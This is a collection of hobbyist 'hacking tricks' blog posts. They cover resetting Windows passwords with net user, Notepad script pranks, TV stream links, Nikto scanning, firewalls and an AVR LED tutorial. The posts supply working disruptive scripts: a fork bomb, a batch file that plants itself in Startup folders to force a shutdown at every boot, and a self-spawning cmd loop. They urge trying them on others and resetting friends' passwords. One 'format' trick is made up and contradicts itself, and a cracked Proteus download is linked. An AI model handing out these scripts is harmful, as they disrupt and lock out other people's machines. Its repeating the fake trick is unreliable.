CHANGE WINDOWS PASSWORD WITHOUT KNOWING THE OLD PASSWORD

Note: This trick works only if the computer is turned on and then you can change the password.

Step 1: Click on start and then search for cmd (i.e., command prompt).

Step 2: Right click and then click on Run as administrator. It will prompt for request to proceed. Click on OK and then the command window will open.

Step 3: Type net user. This command is used to find the name of all the user account present in the computer.

Step 4: Change the password of all the user account one by one by typing.
net user useraccount password
Here useraccount is the account which you got from the step 3 and in place of password type your desired password.

With these simple steps you can change your Windows password or even of yours friends.

Author: Unpredictable

For more information feel free to contact us @ prashantsavior@gmail.com or you can even comment below.

AWESOME NOTEPAD TRICKS

NOTEPAD TRICKS

Notepad can be used to make simple script which can sometimes be fruitful, sometimes becomes enjoyable and sometimes destructive. It depends entirely upon you how you use this. In this tutorial I will show you how can you use notepad for various purpose.

Warning: Don't try few things on your computer, it may damage your OS. So it will be mentioned is status which to try and which not to.


Trick 1: Make your PC talk what you type.
Status: Must try it (safe to use).

Open your notepad and copy paste the following code and save it as speak.vbs . Here the file extension should be .vbs.

Dim msg, sapi
msg=InputBox("Enter your text","Talk it")
Set sapi=CreateObject("sapi.spvoice")

sapi.Speak msg

After you have saved it then open the vbs script, you will be prompted to enter text. Type the text and hear your PC say that.

Trick 2: Make your CD drive pop out constantly.
Status: Can try it (nearly safe)

Open your notepad and copy paste the following code and save it as cdrom.vbs . Here the file extension should be .vbs.

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count -1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100

loop

After you have saved it then open the vbs script, your cd rom will pop out. Everytime you put it inside it will pop out.

How to stop: Press alt+ctrl+del. 

                        Go to Processes.

                       Look for wscript.exe and stop that.

Trick 3: To make keyboard LED flash.

Status: You may try (nearly safe to use).

Open your notepad and copy paste the following code and save it as led.vbs . Here the file extension should be .vbs.

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"

wshshell.sendkeys "{NUMLOCK}"

wshshell.sendkeys "{SCROLLLOCK}"

loop

After you have saved it then open the vbs script, your all led in the keyboard will flash.

Trick 4: To Pop up fake error message.

Status: Must try it (safe to try)

Open your notepad and copy paste the following code and save it as fake.bat . Here the file extension should be .bat.

msg * Error: Your system is affected by virus

After you have saved it then open the bat file, you will get a fake error message popping out.

Trick 5: Format Hard disk.

Status: Dont' try unless you need it (not safe).

Open your notepad and copy paste the following code and save it as format.exe . Here the file extension should be .exe.

Code : 01001011000111110010010101010101010000011111100000

After you have saved it then open the bat file, you will get a fake error message popping out.

Trick 6: Shutdown computer forcefully

Status: Safe to use

Open your notepad and copy paste the following code and save it as shutdown.bat . Here the file extension should be .bat.

@echo off
msg * Shutdown computer.
shutdown -c “Sleep Tight” -s

After you have saved it then open the bat file, your computer will shutdown forcefully.

Trick 7: Delete all the files
Status: Don't try on your laptop (try it on others unless he is your enemy)

Open your notepad and copy paste the following code and save it as delete.bat (don't change the filename). Here the file extension should be .bat.

This prank will make your friends think that all of their files are being deleted and then at the end the file deletes itself so it is untraceable. 

 @echo off 

echo do you want to delete all of your computer data? (y/n) 

pause >nul

echo Do not exit out of the screen or all computer data will be deleted. 

ping localhost -n 2 > nul 

echo Are you sure you want to delete all computer data? (y/n) 

pause >nul 

echo deleting all data... 

echo. 

echo. 

pause localhost -n 2 > nul 

dir /s 

echo. 

echo. 

ping localhost -n 2 > nul 

cls 

echo error.. error.. Not all data deleted, are you sure you wish to stop? (y/n) 

pause 

echo. 

echo. 

ping localhost -n 1 > nul 

cls 

dir /s 

echo. 

echo. 

ping localhost -n 2 >nul 

cls 

echo all data has been deleted.. 

pause 

del "c:delete.bat" 

After you have saved it then open the bat file, your files will get deleted.

Trick 8: Command Prompt Virus

Status: You can try but you might not close that.

Open your notepad and copy paste the following code and save it as virus.bat. Here the file extension should be .bat.

start virus.bat 

virus.bat

This will open infinite command prompt.

Trick 9: Shutdown computer every time you start it.

Status: Don't Try (try it on your own risk)

Open your notepad and copy paste the following code and save it as anything.bat. Here the file extension should be .bat.

copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”

copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” 

//these two commands will copy the batchfile in start up folders (in XP)

shutdown -s -t 00 //this will shutdown the computer in 0 seconds 

Note : Files in Start up folder gets started automatically when windows starts . You should first two lines of code in every virus code so that it would copy itself in startup folder.

Start up folder path in Windows 7 is 

C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Every time the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. 

How to stop: You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.

Trick 10: Fork Bomb

Status: Try it on your own risk

Open your notepad and copy paste the following code and save it as fork.bat. Here the file extension should be .bat.

%0|%0 

This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows.

Author: Unpredictable

If you have any query then comment below or you can write us @ prashantsavior@gmail.com.

WATCH LIVE TV FROM VLC

WATCH LIVE TV STREAMING USING VLC (watch for  free)

Do you know that you can watch live TV channel for free using vlc? For this you just need two things:

1. VLC media player (which you can download by clicking here. Click here to Download.

2. A Good internet speed.

So, now lets start with this.

Step 1: Open your vlc player.

Step 2: Click on Media then on click on Stream, or you can press Ctrl + S.

Step 3: Click on network and then paste the url of the stream channel. Here is the list of some channel. Rest you can Google it out and post in the comment to help others.

NDTV:       rtsp://ss1c6.idc.mundu.tv:554/prf0/cid_33.sdp

NDTV Profit:  rtsp://ss1c6.idc.mundu.tv:554/prf0/cid_31.sdp

Times Now:  rtsp://ss1c6.idc.mundu.tv:554/prf0/cid_2.sdp

Aaj Tak:   rtsp://ss1c6.idc.mundu.tv:554/prf0/cid_4.sdp

CNBC Aawaz:   rtsp://ss1c6.idc.mundu.tv:554/prf1/cid_34.sdp

CNBC TV 18:    rtsp://ss1c6.idc.mundu.tv:554/prf0/cid_35.sdp

Headlines Today:   rtsp://ss1c6.idc.mundu.tv:554/prf0/cid_7.sdp

NDTV 24×7:   rtsp://ss1c6.idc.mundu.tv:554/prf0/cid_29.sdp

NK News:   rtsp://94.75.250.53:554/rtplive/rknews.sdp

RAJ News:   rtsp://94.75.250.220:1935/live/rajnews2.sdp

ETV:   rtsp://94.75.250.53/rtplive/etv2low.sdp

Studio N:   rtsp://94.75.250.220:1935/live/studion2

SVBC:   rtsp://94.75.250.220/rtplive/svbclow

Zoo Vision:    rtsp://stream.zoovision.com/live.sdp

B4u Music:    rtsp://217.146.95.166:554/playlist/ch12zqcif.3gp

iMusic:   rtsp://217.146.95.166:554/playlist/ch26yqcif.3gp

Zee Tamil: rtsp://121.244.145.226:554/prf1/cid_54.sdp

Zee Kannad:   rtsp://121.244.145.226:554/prf1/cid_55.sdp

Zee Bangla:   rtsp://121.244.145.226:554/prf1/cid_52.sdp

Music Box:   rtsp://stream.the.sk/live/musicbox/musicbox-3m.3gp

Bella Tv:   rtsp://217.146.95.166:554/playlist/ch29yqcif.3gp

Fashion Tv:   rtsp://217.146.95.166:554/playlist/ch27yqcif.3gp

Adventure:    rtsp://video3.multicasttech.com/AFTVAdventure3GPP296.sdp

Horror:    rtsp://video2.multicasttech.com/AFTVHorror3GPP296.sdp

Comedy:   rtsp://video3.multicasttech.com/AFTVComedy3GPP96.sdp

Classic:    rtsp://video3.multicasttech.com/AFTVClassics3GPP296.sdp

Crime:   rtsp://video2.multicasttech.com/AFTVCrime3GPP296.sdp

Mystery:   rtsp://video2.multicasttech.com/AFTVMystery3GPP296.sdp

Clubbing Tv:   rtsp://217.146.95.166:554/playlist/ch21yqcif.3gp

Step 4: Then click on Play after choosing it from the drop down menu.

Enjoy it....

Author: Unpredictable

If you have a query then comment or mail us @ prashantsavior@gmail.com

Website Scanning Through Nikito (in Backtrack 5)

Website Scanning Tutorial Through Nikto

When we talk about scanning website to find the vulnerability, we have many tools in Backtrack 5/ Kali Linux which serves the best and "Nikto" is one of them. These tools are efficiently used to measure the security level of the web applications.

About Nikto:

• Nikto is an open source.

• It can check a web server for over 6400 potentially dangerous files/CGIs.

• It checks for outdated versions of over 1000 servers, and version specific problems on over 270 servers.

• It checks the plug in and un-configured files.

• Fast & Effective.

• It finds out the default files and programs.

• It finds out the insecure files and programs.

Features:

• Full HTTP proxy support.

• Apache user name enumeration.

• Logging to Metasploit.

• Secure Socket Layer support (SSL).

• Sub-domain brute forcing (guessing).

• Easy to update.

• Save report on multiple format.

Requirements:

• Backtrack 5 / Kali Linux with Perl installed in it.

• OpenSSL

• Active State Perl

Tutorial:

The basic scan requires a host to scan, that means you need a website to scan. You can use a IP of the website or just its website name. Here I have taken the website as http://www.mytargetsite.com/ . You can take the website which you want to scan.

Open Nikto by following this:

1. To scan a website for the vulnerability we type:

$ perl nikito.pl -host http://www.mytargetsite.com/

or

$ perl nikito.pl -h http://www.mytargetsite.com/

2. For help:

$ perl nikto.pl -H http://www.mytargetsite.com/

3. If you want to check different port than use:

$ perl nikto.pl -h http://www.mytargetsite.com/ -p [port number]

4. If you want this test via proxy than you can use by this command:

$ perl nikto.pl -h http://www.mytargetsite.com/ -useproxy http://localhost:8080/

5. Now for updating nikto use:

$ perl nikto.pl -update 

6. To search vulnerability in multiple port within a range (e.g., we are searching port no. 80 to 100):

$ perl nikto.pl -h http://www.mytargetsite.com/ -port 80-100

7. To save the scan result in a text file for later use:

$ perl nikto.pl -h http://www.mytargetsite.com/ -output ./filename.txt

Note: Nikto scans port no. 80 by default. If you want to scan different port then choose another port (step 3).

For any query comment below or write us @ prashantsavior@gmail.com

Article by: Unpredictable

INTRODUCTION TO FIREWALL

A basic Introduction to Firewalls

Introduction to firewalls 

When you use internet in your college/school/ office, you may not be able to access some websites.

So do you know how they block those websites? They use firewalls for blocking the websites.

Firewall prevent the system from hackers attack. It also prevents you from various viruses. You can that it saves your Cyber life but just to some extent as there is nothing absolute.

So lets see what actually is this firewall!!!

*** The first question arises in our mind is What is Firewall? 

--->Firewall is working like a security guard standing outside the office. Usually, What the security guard do? He will allow those who has identity card and block those who has not the identity card.

Likewise, The firewall will block unauthorized access to the system. Firewall may be a software or hardware. It will work based on the set of rules defined by the administrator. Using Firewall administrator can block certain website from being accessed. All traffic from inside and outside of the network must pass through the firewall. Only authorized traffic will be allowed to pass (based on the set of rules).

***Second question which you must be thinking is what are the Types of Firewalls?

--->So here is a basic classification of types of firewall

 (i) Packet Filtering 

 (ii) Appliction level gateway

 (iii) Circuit level gate way 

(i) Packet Filtering (Network Layer):

A packet filtering router applies a set of rules to each incoming IP packet and then forwards or discards the packets. Router is configured such that it can filter incoming and outgoing packets. The packets will filtered based on the source and destination IP address. IP spoofing attack is possible in this packet filtering. IP spoofing can be achieved by changing the source IP address of packets. Stateful Inspection Firewalls. 

A stateful inspection packet filters tightens the rules of TCP traffic by creating a state table of out bound TCP connection. If the packet matches with existing connection based on the state table, it will be allowed. If it does not match, It will be evaluated according to the rule set for new connections. 

(ii) Applictaion Level Gateway:

Application level gateway is also known as proxy server. The user communicate with the gateway using application layer of TCP/IP stack. The gateway asks the user for the name of the remote host to be connected. When the user enters valid user ID, gateway will give access to the remote application. This will block the malicious activity and correct the application behavior. This will ensure the safety of company. More secure than packet filtering. Easy to log and audit all incoming traffic at the application level. Application-level filtering may include protection against spam and viruses as well, and be able to block undesirable Web sites based on content rather than just their IP address 

(iii) Circuit Level Gateway:

The circuit level gateway works at session layer of OSI model. Monitor TCP handshaking between packets to make sure a session is legitimate. Traffic is filtered based on the session rules. Circuit-level firewalls hide the network itself from the outside, which is useful for denying access to intruders. But they don't filter individual packets. This firewall is used when the administrator trusts internal users.

***So, Why Firewall?

--->Firewall block unauthorized users, prohibits vulnerable services from entering or leaving the network. Protection from IP spoofing and routing attacks. Protection against Remote login, Trojan backdoors, Session hijacking, cookie stealing,etc.

*** So by now you must be hunt with a question that does it have any limitations? If yes then What are the Limitation of Firewalls?

--->The firewall cannot protect against attacks that by pass the firewall. The firewall does not protect against internal threats. The firewall cannot protect against the transfer of virus infected programs or files. It would be impossible for the firewall to scan all incoming files, emails for viruses.

Author: Unpredictable

For query feel free to write us @ prashantsavior@gmail.com or comment below.

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Simple LED Project Explained Using ATMEGA 16 (in Proteus)

This post is for the beginners who wants to put their first step towards Embedded system or Robotics. 
Lets start...
First set up your computer ready before starting...
1. Download and Install Proteus 8.0 full cracked 
    Download it from our software section. Click here to download
2. Download and Install AVR Studio and Win AVR 2010.
    Download it from our software section. Click here to download

Note: While working with Proteus 8.0 it may crash often after running for once. So for that save your work before simulating. To avoid this buy the professional version from the developer and support their work. Or else you have to restart it every time after simulating.

Atmega 16 is a micro-controller. To know more about it and its pin configuration Click here

After completing the above steps. Follow these steps:

Working on Proteus:-
Step 1: Open Proteus.
Step 2: Click on ISIS.

Step 3: Click in P to pick library.

Step 4: Select the component you want to connect.

Step 5: Connect the Pin as per the circuit diagram.

Now its programming time!!! Get Ready programmer!!!

Working with AVR Studio:
Step 6: Open AVR Studio 4.

Step 7: Follow create a new file and name it.

Step 8: Select the micro controller type as ATMEGA 16.

Step 9: Start writing program.

Step 10: After writing the program compile it by pressing F7.

Note: You should know any programming language to proceed forward. That will make your task easy.

Lets start from basic.

"avr/io.h" : Header file for input output of AVR
"avr/delay.h" or "util/delay.h" : Header file to add delay function.
DDRX : Used to assign the Slot A,B,C,D either to input or output. Where X = A / B / C /D.
PORTX : Used to assign the value for the pins of the slot when  it is set to output. Where X = A / B /C /D.
PINX : Used to get the value when the port is assign as input.
_delay_ms(i) : Used to provide delay in milliseconds. Where i is any integer. Example: _delay_ms(500) provides delay of 500 milliseconds. 

Q. How to assign the PORT as input or output?
--> Input is always assign as LOW and output is assign as HIGH.
       Example: To assign slot A and B as input we can write as PORTA=0x00 or PORTA=0b00000000 or PORTA=0. Similarly for B, we can write as PORTB=0x00 or PORTB=0b00000000 or PORTB=0.
       To assign slot C and D as output we can write as PORTC=0xff or PORTC=0b11111111 or PORTC=255. Similarly for D we can write as PORTD=0xff or PORTD=0b11111111 or PORTD=255.

***Where 0x is for hexadecimal, 0b is for binary and simply writing the integer is in decimal format.

Note: You can make any port as input or output. It totally depends on you.

Problem Statement 1:
Make a simple LED program to blink all LED simultaneously with a delay of 500 milliseconds.
--> Open AVR studio and set yourself ready to program.
                                
#include<avr/io.h>
#include<avr/delay.h>
int main()
{
DDRA=0xff;
PORTA=0x00;
while(1)
   {
   PORTA=0xff;
   _delay_ms(500);
   PORTA=0x00;
   _delay_ms(500);
  }
} 
Using the program in Proteus:
Step 11: Open Proteus and right click on the micro controller and click on edit.

 Step 12: Select the program file which you have made. Make sure the file extension is .hex.

Step 13: Click open and then click ok.
Step 14: Click on simulation button shown in the figure.

Proteus Crashes:

All you can do is close it and then again start it. Or better you buy the software if you can save enough buck from your pocket-money.



Try more program with different problem statement or wait for my next problem statement in my next post. Till then happy learning. And don't forget to comment if it was really helpful for you. 

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For any query feel free to ask @ prashantsavior@gmail.com

Author: Unpredictable
Source provided by: Aakash Kumar Das